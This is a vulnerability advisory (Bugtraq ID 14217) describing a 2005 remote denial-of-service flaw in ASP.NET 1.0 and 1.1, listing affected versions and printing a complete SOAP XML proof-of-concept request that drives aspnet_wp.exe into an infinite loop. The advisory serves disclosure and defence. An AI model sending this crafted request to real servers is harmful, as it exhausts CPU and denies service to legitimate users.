Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability

BID:14217

Info

Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability

Bugtraq ID: 14217
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: No
Published: Jul 12 2005 12:00AM
Updated: Jul 12 2005 12:00AM
Credit: Bryan Sullivan <[email protected]> is credited with the discovery of this vulnerability, and Sacha Faust <[email protected]> is credited for further research.
Vulnerable: Microsoft ASP.NET 1.1 SP1
Microsoft ASP.NET 1.1
Microsoft ASP.NET 1.0 SP2
Microsoft ASP.NET 1.0 SP1
Microsoft ASP.NET 1.0
Microsoft ASP.NET 0
Not Vulnerable:

Discussion

Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability

ASP.NET is susceptible to a remote denial of service vulnerability. This issue is due to the possibility of causing an infinite loop on the server when handling RPC/encoded requests.

This issue presents itself when an RPC/encoded Web method accepts an array or object derived from 'IList'. By sending a specially crafted XML request, the 'aspnet_wp.exe' executable enters into an infinite loop.

Remote attackers may exploit this vulnerability to consume excessive CPU resources, potentially denying service to legitimate users.

Exploit / POC

Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability

An exploit is not required. The following XML request is an example of a request that may trigger this vulnerability:

<?xml version="1.0" encoding="utf-16"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:tns="http://tempuri.org/"
xmlns:types="http://tempuri.org/encodedTypes"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<soap:Body
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<tns:Test>
<someList href="#id1" />
</tns:Test>
<tns:ArrayOfInt>
<Item>0</Item>
</tns:ArrayOfint>
</soap:Body>
</soap:Envelope>

Solution / Fix

Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Microsoft ASP.NET RPC/Encoded Remote Denial Of Service Vulnerability

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